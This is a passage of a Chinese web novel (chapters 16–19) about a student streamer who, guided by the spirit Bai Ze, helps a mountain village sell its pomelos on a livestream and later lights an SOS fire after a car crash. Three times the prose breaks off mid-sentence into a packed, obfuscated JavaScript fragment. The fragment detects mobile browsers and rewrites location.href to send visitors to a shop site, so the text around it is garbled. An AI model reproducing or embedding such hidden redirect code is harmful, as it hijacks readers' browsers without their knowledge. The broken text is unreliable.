谈什么恋爱啊!学习要紧! 白泽全程面无表情地看完了安随说的让她心花怒放的片段,心里只有一个想法:就这? “这就是你说的见过猪跑的样子?” “对啊。”安随反问他,“不然你以为是什么?” 白泽自然不会说他心里想的是什么,但总归不是安随想的那样。 白泽看了剧里的男一男二,随后评价道:“长得确实不如我。” 安随一听就更好奇了:“你到底长什么样啊?不就是浑身雪白吗?能有这好看?” “那只是兽态而已,我的人形状态还是挺帅的。” 安随:“那我什么时候能看到?” 白泽:“多直播,等哪天我的信仰之力能让我现形,你自然能看到。” 说了等于没说。 安随一想到直播,就有种被迫营业的感觉,期待和现实一旦有了落差,便觉得做什么都提不起兴趣来。 “他们都不听我讲题,我感觉直播都没什么意思。”安随吐槽道。 白泽想了想,提议道:“不如我们换个玩法?” “又换?” 白泽:“你可以让网友们写下自己的心愿,再从心愿里面挑选出一件你感兴趣的事情,帮助他完成,全程直播记录,完成以后就奖励自己一样东西或做一件事情,这样是不是很有成就感?” 安随被他说得提起点兴趣,这总比每天和直播间网友演默剧好。 “好,那就这么干。”安随越说越感兴趣,当下就回到直播间,直播间里依然静悄悄的,要不是看到在线人数保持在8万+,她还以为直播间都没人了。 为了不被打断,安随打开麦克风后快速说道:“我有个新想法,你们拒绝听也没用,我还是要说。从今天起,你们有什么愿望都可以在评论区说出来,我会挑一个我感兴趣的愿望帮你实现,反对无效,没人支持我以后就不直播了。” 最后一句话杀伤力最强,安随刚一说完,屏幕便开始滚动起来。 “支持支持支持!主播我要考京大,你能帮我实现吗?” “主播我要上月球,你能把我送上去吗?” “主播我想坐宇宙飞船,你能造一艘出来送我吗?” “主播我要修仙,你能让我引气入体吗?” “主播我想成为亿万富翁!能让我买彩票中大奖吗?” …… 安随一条条评论看下来,看得两眼一黑,他们真把她这里当成许愿的地方了啊?没有一个愿望是她能做到的! 安随赶紧制止:“你们能不能说点靠谱的愿望啊?这我都能实现我不早成亿万富翁早上天了?” 安随这么强调一下,评论这才正常起来,但都是些很普通很小的事情,要不然就是周期很长,不适合直播。 安随挑选了一圈,最后目光锁定在了一条评论上。 布布:姐姐,你能帮我去看看我的一个朋友吗?她和你在一个城市,不过我们最近吵架了,她不接我电话,已经好多天了,我不知道她是还在生我的气还是出了什么事。 安随点了布布的名字,宣布这是她将要完成的第一个心愿。 网友们在羡慕布布的同时,也跟着好奇布布的朋友到底发生了什么。 安随让她把地址私发给她,并问她是否同意直播找人的过程,在得到同意后便下线了,准备明天去找人。 今天实在太晚了,她看了下那个地址,离学校有点远,还是明天去最保险。 好在第二天是周末,她刚好可以去走一趟,正好这段时间一直闷在医院和学校里,出去透透气也好。安随星期天吃完早饭后便出了学校,坐地铁到离那里最近的站下车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618296|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那个地方叫李家村,安随出了地铁站后便开了直播,从地铁站出来以后还要坐大巴去镇里,镇里又坐乡村公交到李家村。安随到镇上的时候就已经中午了,在镇上随便吃了碗面,便坐上乡村公交往李家村去。 公交车坐了一个小时的山路才下车,安随看着眼前有些凹凸不平的小路,还是咬牙往上爬。身上虽然恢复了,但走这种小路还是有些吃力,走几步就得停下来歇几下。 这个时候安随便免不了吐槽白泽:“你说你好歹是一个神,怎么这点小伤都治不好啊?” 白泽声音也有气无力:“你以为我不想吗?那天车祸就把我的信仰之力耗光了,要不是我出马,你跟那位老人现在还躺医院里呢。” 安随一听其中还有这缘由,想到这几天白泽一直催促她直播,而自己一直不情不愿的,便有些愧疚。 “我不知道,你怎么没和我说?” “说了能干什么?我不会逼你做你不想做的事,你不想直播就算了,也不会要挟你,你想做什么就做什么。” 安随听到他那么开明,还有些小感动。 白泽这朋友,靠谱! 李家村的路并不平坦,一路攀爬,路上还能看到几个采摘柚子的果农。李家村山清水秀,盛产柚子,这个季节正是吃柚子的时候,路过那些果农的时候,见安随拿着手机记录,不由好奇地看着她,有自来熟的大姐和安随打招呼:“妹妹你是在拍视频吗?” 安随连忙放下手机:“我是在直播,大姐你们这柚子怎么卖的?” “直播啊。”大姐连忙整理了下衣服,手在衣服上擦了擦,这才清了清嗓子,用着不标准的普通话道:“我们这柚子又大又甜,包你吃了还想吃,不信你买来尝尝,不要998,也不要98,只要9.8一个。现在正是味道甜的时候,再迟点味道就没那么好了哦。” 这段话大姐说得特别顺畅,中间没有停顿,似乎在脑海里已经演示了很多次。 “真有那么甜吗?什么品种的柚子,好吃我也买点。”有网友好奇。 “主播你尝尝啊,好吃我们也跟着买点。” 大姐见安随有点感兴趣,连忙开了个柚子递给安随:“你尝尝,保甜。” 安随接过一瓣柚子,汁水和香甜便充盈了整个口腔,手上也覆了一层果油,有些粘腻,却并不让人讨厌。 安随当即被这个味道惊住了,连忙让大姐打包几个带上。 买完柚子以后,安随便问道:“姐,你认识李凤宁吗?” 大姐抬头看她:“认识啊,你找她啊?” 安随点头,追问道:“你最近看到她了吗?” “怎么没看到?她天天在地里转悠呢。” 安随听到这话,心里也算松了口气。 人没事就好,她好交差了。 大姐跟安随说了下李凤宁所在的位置,安随便提着一袋柚子往前走,走着走着突然觉得自己这个动作有点傻,她为什么不回去的时候再买柚子?现在要拉着一袋柚子走一路吗? 但买都买了,又不好退回去,而且那位大姐确实热情,也很卖力地推销柚子,她也不好拂了她的心意。 好在前面就是李家村村办公室,大姐见她力气小,还好心给她背到那里,安随又感谢了一番。和那里的村干部打了声招呼,表明自己想寄存柚子的想法,村干部也欣然同意,还帮她把柚子放好。 安随这才继续去找人。 沿着大姐说的路线继续走了近二十分钟,安随这才看到李凤宁的身影。 17. 第 17 章 李凤宁很好认,因为大姐说找这里最年轻最漂亮衣服颜色最鲜艳的就是她了。 安随沿着大姐所指的路线走,边走还有不少网友感叹这里的风景好美,满山的柚子树一片连成一片,一眼望不到头。 今天天气很好,难得出了太阳,冬日的阳光并不烈,晒在人身上暖洋洋的,让人浑身的骨头都酥了。安随鼻间伴着柚子的清香,踏在乡间的小路上,仿佛回到了小时候。 那时候,她家也有这样一片柚子园,父母恩爱,勤劳能干,把家里打理得井井有条。她的记忆对柚子是熟悉的,因为她经常穿梭在那片柚子园里。 只是后来父亲在她四岁的时候生病去世,家里没了主要劳动力,种地已经不能养活母女俩了,她跟随母亲搬到了镇上,靠母亲做针线活维持生计。 五岁的时候,母亲出车祸住院,她没人照顾,便被送到了乡下奶奶家。而她回去才发现,那片柚子园也因为村里要修公路,被占了地,早就被推平了,柚子园也随着她的记忆消失了。 而她也在那里感受到了原来不是所有人都会疼爱她的。 没有了父母的庇护,她成了比她小几个月的堂弟和其他小孩欺凌的对象,经常被揍得鼻青脸肿,小孩子下手没有轻重,打在身上特别疼,她好几次被打哭了,他们还笑她是哭包狗。 她去找奶奶告状,奶奶却问堂弟有没有被欺负,还说堂弟还小,她是姐姐得让着堂弟,姐弟俩要团结。 她知道,这个家里,没有人会真正在乎她。 有天早上,她趁他们下地干活时偷偷跑回了镇上,临走前还端了盆水跑到隔壁房间,把堂弟睡着的床给浇透了。她倒得小心翼翼,并没有吵醒熟睡的堂弟,甚至没弄湿他的衣服,水只会慢慢浸染到他睡觉的地方,神不知鬼不觉。 离开房间时,还顺手把门锁挂了起来。 她刚进来的时候门锁就是挂着的,因为大人下地干活了,堂弟又在熟睡,怕他醒来没看到人要出去找,因此把门锁了。 她并没有干什么,只是把门复原了而已。 等到大人回来,他身下已经湿透了。 至于会不会生病,就不是她考虑的事情了。 她带着自己早就收拾好的小包裹开始往镇上的方向跑,甚至在路上她还跑丢了一只鞋子,等感受到硌脚时才发现鞋子不见了,她索性把另外一只鞋子也脱下来拿在手里,赤脚狂奔。等终于到了医院,妈妈正熟睡着,她趴在妈妈盖的被子上,即使鼻间充斥着浓浓的消毒水味,也让她觉得特别心安。 妈妈住院期间,一直是姨妈照顾,后来还是打饭回来的姨妈叫醒了熟睡的她。妈妈也被吵醒了,见到她赤着脚,脚背上还有条血路子,什么话也没说,只是把她搂在怀里,压抑的哭声在她耳边响起。 后来,她便住在了姨妈家,姨妈家有个读高中住校的表哥,平时大人都出去上班了,没人照顾她,她便和妈妈一起待在医院,晚上回姨妈家住。而姨妈白天要上班,还要抽空来看母亲,还要照顾她,分身乏术,她也十分懂事,尽量不给姨妈添麻烦。 后来幼儿园开学,她就去幼儿园了,而她放学也不用姨妈来接,直接自己去医院看母亲。 她们夸她懂事,又心疼她太懂事,她懵懵懂懂不明白这两句话有什么区别,但被夸了她就很开心。 记忆被扯得有点远,却让她想起了过去那段伴随着温馨和痛苦的往事。 因此,安随看到柚子园还是挺感慨的。 已经十几年没见到了。 网友见她站在那里停了好一会儿,便催促道:“主播看风景看入迷了啊,快去找人啊!” 白泽也出声提醒:“他们催你了,赶紧走吧。” 安随这才回过神来,轻声叹息了一声。 “想起伤心事了?”白泽问她。 安随“嗯”了一声,解释道:“有伤心也有快乐吧。” 白泽问跟着叹了声气:“人类的感情真复杂,搞不懂。” “那是你没体会过爱。” 白泽问:“爱是什么?” 安随:“爱就是能让你感受到温暖快乐的东西,有大爱有小爱,不管是亲情友情还是爱情还是来自陌生人的善意,甚至是爱国情,只要你感受到了温暖快乐,那就是爱。” “那我还是有的吧,我有个很要好的朋友,我们一起修炼,一起打妖怪,还挺快乐的。” “哦。”白泽想了想又补充道,“和你在一起也挺快乐的,我也感受到了你对我的爱。” 安随:“……” 虽然是自己这么跟他解释的,但怎么听起来就那么奇怪呢? 安随轻咳一声,低头继续往前走。 安随一直走到了果园的深处,才在万抹绿色中看到了一抹红。 李凤宁今天穿着一身大红的毛衣外套,正在往箩筐里放柚子,听到有人的脚步声传来,这才起身看向安随:“你是来找我的吗?” 安随把手机放回兜里,跟她解释道:“是有人来让我找你的,我是主播白泽,有个叫布布的女孩让我来找你,说你的电话好几天都没人接了,怕你出事。” 李凤宁听她说完,笑了一下,指了指她的兜:“你在直播吗?可以拿出来摄像头对着我吗?” 安随不知道她有何用意,但见她不在意入镜,便依言拿出手机。 只见李凤宁站直了身子,她很高,挺拔的身姿站在柚子树下,把一颗黄灿灿的柚子都顶了起来。 但她并不在意,而是面向手机镜头,微微一笑。 “大家好,我叫李凤宁,也是布布,很高兴你们来到李家村。李家村是个山清水秀的地方,这里人杰地灵,盛产柚子和柑橘,这里山多路陡,离城区较远,出行不便,因此柚子和柑橘也常年滞销,很多烂在地里。我也曾试过直播带货,但效果甚微,偶然进了直播间,成为主播的粉丝,也送过嘉年华,我没有白嫖。我也挂过直播间,刚好我在准备考试,学习起来感觉效果很好。如今考试就只剩一个月了,但家乡的柚子却成熟了,我怕它们又像往年一样滞销,刚好主播提出能帮人完成心愿,我这才出此下策,没想到意外被选中。在这里我向被我骗来的主播道歉,也向广大的网友道歉,对不起。” 李凤宁说完,对着镜头深深地鞠了个躬。 一阵风吹来,吹起了李凤宁的衣摆,乌黑的发丝也随风飞扬,此刻的她,像个智者,又像被渡了层光。 安随听她说完,已经从最开始的惊讶变成了现在的坦然。 虽然被骗,但她并没有愤怒,而是有些感慨,会有人那么深沉地爱着大山,爱着脚下的这片土地。 这是她做不到的。 她很佩服李凤宁。 在来的路上,她一路遇到的人都是上了年纪的人,他们脸上挂着质朴的笑容,布满了沟壑,看到安随打听李凤宁的下落,都很热情地跟她指路,还不忘夸一句李凤宁。 她一路到这里,除了村干部和李凤宁,没有看到一个年轻人。 这是很多农村的现状,年轻人都出去打工,只留下年迈的父母爷爷奶奶在家种地,一年回来不了几次。农产品滞销,也是老大难的问题,特别是交通不便的地方,这个现象更严重,如果没有外力介入,很难推销出去。 她刚到村委会放柚子的时候,也看到村办公室里堆着柚子,并对外销售,看到她买了袋柚子,也没再问她要不要买,而是对她说如果觉得这里的柚子好吃,可以推荐给其他人,她礼貌性地答应了。 而此刻,她是真的起了推柚子的心思,甚至这个想法快跳了出来,但被白泽按住了:“冷静,矜持,现在还不是时候。” “为什么?” “再等等,一大波信仰之力马上就来了。” 安随一听果然冷静了下来。 而网友们却像池子里被丢进了一颗深水炸弹,顿时炸开了。 “我去,这套路有点深啊,直播间10万观众都被套路了。” “刚刚才8万,这就10万了啊,果然看主播吃瘪是件值得全平台摇人的事。” “头一次看到主播被人套路,竟有点想疯狂大笑,甚至围着操场跑20圈怎么办?果然是平常被这个女人折磨得太惨了。” “楼上的,你现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624174|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在去跑吧,跑不完不能回来看热闹。” “一群看热闹不嫌事大的,就没有人心疼主播吗?居然出现了能把她治住的人。” “李凤宁这姑娘不简单啊,头脑灵活,心系大山,将来绝对是国家需要的人才。” “主播也不简单啊,被人欺骗还能面不改色,坦然面对,能忍者必成大事。” “心疼主播奔波劳累了一天,最后为她人做嫁衣,而你们却在嘲笑她,呵呵。” “你懂什么?这难道不是双赢的事吗?你没见主播的粉丝通过这个直播已经涨了十万了吗?” “在和你说话的功夫,她的粉丝又涨了一万。” “布布的号粉丝也到了一万了,大家都受益,皆大欢喜。” “我突然在想,这不会是两个人联合做的一个局吧,而我们都是局里的棋子,越想越有可能。” “不像,看了主播那么多天的直播了。她的性格还是了解一些的,说一不二,光明正大,不像会搞这种小动作。” “人不可貌相,你们都没见过她真人,直播从来不露面,谁知道背后是人是鬼?” “哪里来的黑子,管理员叉出去!” “还不能让人说了?你们难道一点都不觉得愤怒吗?被人耍得团团转还在这哈哈大笑,一群傻冒!脱粉了!” “好走不送!” “看直播本来就图个乐子,只要看得开心,有没有剧本都无所谓。” 见评论风向有点偏,李凤宁连忙解释道:“我向大家保证,绝对没有剧本,我也没有联合主播欺骗大家,纯粹是我个人的行为,因为……”李凤宁说到这里,哽咽了一下,“因为我父母在我很小的时候就去世了,我是吃百家饭长大的。这里的人供我吃喝,供我上大学,所以我才想让这个村子变得好起来,对不起对不起,如果给大家带来困扰,请骂我一个人就可以了,不要骂主播,也不要对这里产生不好的印象,因为,这里真的很好很好,真的。” 李凤宁说着说着,背过身去拿纸巾擦了擦眼泪,这才又掉头回来,挤出一个笑容:“让大家见笑了。” 安随看着她,突然下了一个决心。 白泽知道她想说什么,连忙叫住她:“再等等,在线人数还在不断上升,还有人没进来呢。” 但安随充耳不闻,而是对着李凤宁说道:“你很好很好,我没有生气,也没有感觉被欺骗,而是很佩服你,佩服你的勇气和对这里深沉的爱,相反我还要谢谢你。” 谢谢你让我明白,原来还有这样的爱。 这是她从未体会过的。 安随说完,便将摄像头对准了漫山遍野挂着的柚子。 “这里的柚子味道确实不错,风景很美,空气也很清新,大家有空了可以过来看看,当然要理性对待,这只是我个人的看法,大家不要盲目过来。” “买买买!” “这周末就让我爸妈带我过去玩!买爆它!” “主播都说好吃了,那肯定好吃!必须买!” “能邮寄吗?我在广市,离得远,不方便过来。” “对啊,邮寄邮寄,主播的粉丝遍布五湖四海,也让其他省份的粉丝尝尝鲜吧。” 李凤宁连忙说道:“可以邮寄的,大家可以点进我的橱窗,上面能下单。” 她一说完,便立马有粉丝点进去了。 只一会儿的功夫,就下去了10000的库存。 1库存是10斤,也就是说,就在刚刚,她就为李家村卖出了100000斤柚子。 这是什么概念? 李家村整个村子那么多年加起来,都没有往外邮寄那么多斤柚子。 其他柚子外商自己进来拉,要么拉到外省去卖,要么只能背到镇上卖给本地人。 可想而知火爆程度。 当李凤宁哽咽着感谢网友感谢安随帮她卖了十万斤柚子时,安随都惊了,这届网友那么暴力消费的吗? 一想到他们躺在家里过几天就能收到柚子,而自己还要扛着一麻袋柚子翻山越岭,转几趟车回学校,安随就觉得自己腿已经开始疼了。 18. 第 18 章 安随最终并没有自己把那袋柚子带回去。 村主任李世全很快闻讯赶来,客客气气地和安随打了番招呼,然后又带着安随参观村里的产业园。 李家村柚子基地很大,几乎家家户户都在种柚子,但因为交通不便,柚子又能储存,因此销量并不好,很多是外商进来拉,但也因为出行不便,外商的货车只能停到村委会,然后请人拉到那里去,每年都得消耗不少人力物力,实际上利润更低,长此以往,外商更愿意选择交通便利的地方,即便李家村的柚子口感更好。 但商人本就逐利,也没人能挑得出错来。 这可愁坏了李家村的村干部,农民就靠种地养活自己,柚子滞销,销量一年不如一年,他们只能自救。 李凤宁算是自救的带头人,也带动李家村的果农自己在网上卖柚子,但效果甚微,不是人人都能吃网络这口饭的。 他们也向政府申请修路,但修路这种东西,不是申请就能下来的,还有个时间周期,因此也还在路上。 安随一路听着李世全和她讲解柚子从种植到销售的整个过程,以及他们为此付出的诸多努力,脑海里已经显现出这群人为了能带村民走出大山,每天奔波在田间野里,头顶着烈日,脸上挂着坚辛的汗水,眼里却是满满爱意的画面。 安随对农村的记忆有些遥远了,那个家她从那次偷偷离开后就再也没回去过,那里也没人问过她的现状,或许,在父亲去世后,他们之间最后一点藕断丝连也消失了。 安随并不失落,他们本就不是一个世界的人。以前,她的世界里只有母亲,现在,她多了几个室友,还有直播间嗷嗷待哺的网友,还有,白泽。 这种感觉很奇妙,好像一张白纸,突然就多了好几种颜色,让她的人生也变得没有那么寡淡了。 安随跟着他们参观了一下午,腿早就酸了,但看李世全热情满满,舌灿莲花,又不好打断。最后还是李凤宁跟李世全说安随刚出院,不能走久了,才替她解了围。 李世全一脸不好意思,连连道歉:“抱歉抱歉,我一说起来就没完没了,都不知道你刚出院,你今天晚上就在凤宁家住吧,等明天再去其他地方参观参观再回。” 安随连忙道:“我明天还要上课,今天就得回去。” 李世全还想留,但一想到对方还是学生,最后只能说道:“那就晚饭吃了回吧,我找车送你回学校。” 这里离锦城市区不算很远,之所以安随来花了那么久,一是转车,二是不熟悉路,如果开车,高速一个多小时就到了。 安随不想麻烦他,便说自己坐车回去,却被告知到镇上的末班车早就收班了,加上李凤宁也一直热情挽留,这才作罢。 结束参观后,安随便在网友的依依不舍中挂掉了直播,问下次直播什么时候?答曰今天播太久了,要休息一段时间,一段时间是多少时间?不知道,看心情。完全无视网友的哀嚎。 晚上的时候,村委会的一干人等,以及联村干部都来到了李凤宁家中。 李凤宁家就在离村委会不远处,她以前的房子因为年久失修不能住人,后来政府出钱给她在宅基地上重新修了一套,虽然不大,但住她一个人绰绰有余。 隔壁家的几个阿姨早就得到消息,来李凤宁家烧火做饭,忙得热火朝天,等他们到的时候,这里早就升起了袅袅炊烟,烟火气十足。 一行十来个人,一下子把不算大的院子给挤满了。 往常李凤宁都是一个人住,有的时候忙得脚不沾地,随便在谁家对付一口饭,这里已经很久没有那么热闹,那么有烟火味了。 李凤宁悄悄擦了擦眼角。 这种感觉真好。 她喜欢有烟火气。 李家村几乎家家户户都做腊肉腊肠,李凤宁不会做,她家里没有,阿姨们就自带腊肉腊肠,鸡是隔壁鸡圈捉的,鸭是从田里刚赶回来的,鱼是李二哥家的鱼塘现捞的,除了几根蒜苗和青菜是李凤宁自己种的,其他食材都是其他人带过来的。 李凤宁突然就觉得有些不好意思起来,她那个菜园子不小,种的菜却稀稀拉拉的,平常自己炒个菜倒够了,一到这个时候便有些不够看了。 但没有人会嘲笑她,这本来就不是她一个人的事,而是全村的事,自然每个人都想出份力,即使是请安随吃饭这么一件简单的事。 因为安随是学生,加上刚出院不久,其他人都收敛着,推杯助盏间都小声说话,怕吵着安随,倒让安随有些不自在了,吃饭的速度也一直在加快。 白泽一直在那里嚎:“你慢点吃,我都没尝出味来!唔,好香!” 安随也觉得香,柴火做的饭菜自带一股特别的味道,加上阿姨们的手艺好,食材地道,做出来的味道自然好。 安随也忍不住多吃了一碗饭,肚子被撑得圆鼓鼓的,白泽还想吃,被安随无情地拒绝了。 再吃下去,她怕她一会儿都爬不回宿舍。 见安随放筷子,其他几人问她吃饱了没有,见安随不是真客气,这才随她去了,安随一离开,明显感觉屋子里说话的声音都大了起来。 呼,总算出来了。 安随不习惯这种场面,一是人多热闹,二是别人都围着她转,不时有人让她尝尝这个尝尝那个,十分热情,甚至热情地过了头。 她习惯了独来独往,也习惯了被人忽视不被人注意,一时焦点全在她身上,反而让她不适应。 一出来,安随坐在院子里,看着渐渐西斜的落日,晚霞满天,远处群山叠嶂,近处炊烟叠起,竟说不出得宁静和谐,整颗心也跟着平静下来。 怪不得李凤宁对这里那么留恋,她看得都想多住几晚了。 安随休息了会儿,李凤宁便来说送她的车已经找好了,她买的柚子也给她放车上了,随时都可以走。 安随起身进屋和屋里的人打招呼,十几号人也纷纷站起来和她道别,搞得安随都有些不好意思,连忙让他们坐下。 屋里就李世全和安随待得时间最久,因此起身相送,边走边又感谢了安随一番,并让她以后有空常来玩,这里永远为她敞开大门。 三人一路走到停在村委会门口的黑色小轿车旁,正有人往后备箱装柚子,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627513|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时还能传来“咯咯咯”的声音。 安随有些疑惑,难道还有其他人要坐这个车吗? 李凤宁解释道:“这是周大孃给你带的公鸡,因为时间短,没有时间杀,你自己带回去到菜市场杀吧,除了你买的那袋柚子,还有一袋,你带回去给你学校的老师和同学都尝尝,好吃的话我再给你寄。” 安随连连摆手:“这怎么行?你拿回去,我不要。” 李凤宁连忙阻止道:“这都是大家的一片心意,村里人自己种的养的,也不值钱,你别嫌弃就行。” 见推不过,安随连连道谢,想要给对方钱,又被对方阻拦了,只得收下。 安随坐上汽车,在两人的目送中离开了这座小山村。 此时,天已然黑了下来,下山的路都得一直开着车灯才能看清远处。司机是个沉默寡言的人,几乎一路上没和安随说过一句话。安随本就累了一天,一上车便昏昏欲睡。 “砰——” 一声巨响突然传来,安随整个人往上弹跳了一下,又返回了座位。 安随被剧烈的响声惊醒了,睁眼便看到前面黑漆漆的,车身停了下来,司机坐在前面一动未动,安随叫了几声也没有回应。 安随连忙呼唤白泽:“白泽!白泽!” 安随很少这样焦急地喊白泽的名字,白泽一听,也知道事情的严重性,出来查看了一番,神情也变得严肃:“我们的车掉下山崖了。” 安随心里一惊,那司机岂不是凶多吉少了? 她连忙爬上前去查看司机的情况,因为她的五感比常人敏锐,一下子就察觉到了司机的不对劲。 他软绵绵地靠在驾驶座上,额头上还不停往外冒着血,双目紧闭着,没有一丝的反应。 好在她拿手探了探他的鼻间,还有气息。 这算是个好消息,只要人还有救,那就不晚。 只是,她要怎么把他救上去? 外面黑漆漆的,但依稀能看到这里是个山谷,也不知道离上面还有多远,但安随在巨大的冲击下没有怎么受伤,也感觉车身并没有下坠多久,想来应该离上面不远。当务之急是要找人来救他们。 安随拿出手机,想要打报警电话,却发现手机没有一点信号,拨打了几个电话都是无法接通。 安随不确定是不是自己的手机信号差,便又去摸司机的手机,摸了半天也没摸到,也不知道是不是已经掉出车外了。 此刻的安随心里是从未有过的慌张,时间一分一秒过去,多在这里耽搁一分钟,司机救援的机会就少一分。 但安随很快冷静下来,现在能救司机的只有她了,多耽搁一秒,司机的危险就越大。 安随问白泽:“有什么办法能让我去报警的吗?” 白泽也犯难了:“我查探了下,这附近没有人家,除非找到司机的手机报警,不然只能走到有人家的地方,但那样的话,花费时间更久。” 安随当机立断:“那就先找他的手机。” 安随说完,便又继续在车里摸索起来,但她翻遍了也没找到,于是决定下车去找。 19. 第 19 章 但想出去并不容易,车身是斜挂在悬崖边上,安随往外一挪动脚步,车身就跟着晃动两下,如此几次,安随便不敢再乱动。 此刻她的脑子却比以往任何时候都还要清醒,安随问白泽:“你有办法把车子挪到平地吗?” 白泽想了想道:“这几天我攒了点信仰之力,只能消耗掉了,不过你后面得加倍直播回来,不然这么耗下去,我猴年马月才能复活?” 安随哪里有不应的?连忙同意。 而白泽在得到肯定的答复后,也施法将车子慢慢地挪动。好在车子倾斜并不严重,很快便被移到了实地,虽然并不平坦,但至少不会担心掉下去。 安随很快下了车,环视了一圈周围的环境,最后决定放弃寻找手机。 这里杂草比她人还高,找都得找到猴年马月,而且手机说不定还掉下山崖去了,继续寻找下去只会浪费更多时间。 安随没接触过车,但猜想车上应该有说明,于是翻了会儿,翻到一本说明书,照着说明打开远光灯和双闪,随后倾身去驾驶座。白泽见状,连忙制止道:“你别动他,等人来救。” 安随没说话,在司机身上摸了会儿,最后摸到一个东西拿了出来。 白泽一看,竟然是个打火机,他有些疑惑地问道:“你拿打火机做什么?你现在的视力比常人好,这种夜晚赶路不需要照明都可以。” “谁说我要赶夜路了?”安随见司机身上真有打火机,便下了车开始拔草,草很深也很生,拔起来非常费劲,但安随顾不得那么多,几乎使出了全身的力气,手被野草勒出血痕,一碰就疼。 安随脚下很快堆了一堆野草,她将野草抱在怀里,随后往山坡上爬。 此刻他们正处在山坡下面的一块草地上,上面就是公路,只要爬上去,他们就有救。 安随抱着一大抱野草爬起来十分不方便,她便将草捆成一捆,背在背上往上爬。 过了会儿她终于爬到公路上了,白色的路面在月光下反着光,也将这里的整个路面都照得一清二楚。 前方的路面光滑平坦,也没有路障阻拦,也不知道司机怎么把车给开翻了。 安随将野草取下来,随后铺成“SOS”的造型,又去周围找了些干草和干树枝扑在上面,如此以后才点燃了干草,很快,干草便沿着字母开始凹出造型,因为下面有生草,一时半会儿不会熄灭,做完这一切后,安随紧绷的身体才缓缓放松了点。 希望有人能看到吧。 安随靠坐在马路边上,望着漫天的火光,突然觉得一个亿也没那么好赚,这已经是她这个月遭遇的第二次车祸了,想想就觉得自己倒霉。 又是想解契的一天。 “你这个契约不好结啊。”安随在心里吐槽,却没得到任何回应。 白泽因为耗尽信仰之力,再次陷入沉睡。 安随低声叹了口气。 夜晚的冷风带着凉意侵袭而来,安随裹紧了衣领,靠在火堆旁,等待救援。 她不能擅自离开,怕火花被冷风刮跑了,若是刮到其他山头引发火灾,到时候更解释不清了。 现在只能寄希望有人能看到这边的灯光和火光了。 刚才在李家村的时候,听到有宣传车辆提醒大家别野外用火,天上有遥感卫星随时都能监测到,她这才突发奇想,虽然她在野外用火,但是在大马路上,又是危机时刻,想来不会被责罚吧。 就算被罚,她也认了。 她只是想给司机争取更多的时间而已。 安随目光向前,便看到这条山路十分蜿蜒曲折,一山连着一山,看不到尽头。 山路也很窄,只能勉强两个车辆错身,外面便是悬崖峭壁,虽然有栏杆拦着,但看着还是吓人。 好在他们掉下去的地方并不高,下面还是个平台,这才不至于造成更严重的后果。 虽如此,安随此刻坐下来还是感觉到手臂火辣辣地疼,一看竟然是之前出车祸挫伤的地方又流血了,此时血已经干涸,但还是有地方有着明显的淤青,手指也火辣辣的,是刚才拔草的时候受的伤。 人在高度紧张的时候感觉没那么强烈,可一旦放松,痛感便席卷而来。加上安随五感本就比常人敏锐,痛感自然更加强烈。 此刻的安随便觉得浑身哪都疼,坐立难安地动了动,却还是觉得难受,于是又站起来走了走。 如此几次以后,竟发觉身上真没那么疼了。 安随就这样消磨着时间,直到远处能看到微弱灯光,伴随着救护车的鸣笛声,安随站起来望向远方,看到来的车辆不止一辆,这才松了口气。 他们得救了。 安随拨弄了下火堆,让火燃得更熊烈,火光冲天,也照亮了她那张沾满血的脸。 车队开到跟前,他们便发现一名少女站在火堆前,一张脸被鲜血染红,眼神却十分坚毅,看不到一点慌乱。 很快便有医生从救护车上下来,上前查看安随的伤势。 “有没有哪里受伤?还有其他人员吗?”安随任凭医生给她检查,她指了指下面,“司机还在车上,昏迷不醒。” 医生看到山崖闪烁的车灯,离公路有点距离,夜路不明,他们不敢轻举妄动。 好在一名穿着警服的男人主动说道:“我在前面开道,你派个医生走我后面。” 医生很快点了名医生下去,而自己继续给安随处理伤口:“头疼吗?还记得刚才发生的事情吗?” 安随:“记得,我的头没事,我刚才在车上睡着了,醒来的时候车子已经掉下去了,我是从下面爬上来的。” 安随话音刚落,旁边的几人顿时看向她,似乎没有理解她的意思。 安随只得再次说道:“下面并不高,我从车窗里爬了出来,一路爬到上面点燃了求救信号。”说到这里,安随顿了顿,指了指那堆已经被打熄的火堆,“我不会被罚吧?” 过了会儿才有人回答她:“当然不会,你做得很棒,但是为什么不直接打电话求救呢?” 安随望向说话的人,是个穿着很板正的青年,她猜应该是这里的干部,听他说不会被罚,暗暗松了口气,然后老老实实地拿出自己的手机展示在众人面前:“我的手机没信号。” “那司机的呢?”那人追问道,想了想又补充,“我是镇上的干部,这个事情很严重,所以我得问清楚情况。” “他的手机找不到了。”安随只得说道。 那人这才没再追问。 此时另外一名警察继续问安随:“记得发生车祸的时间吗?” 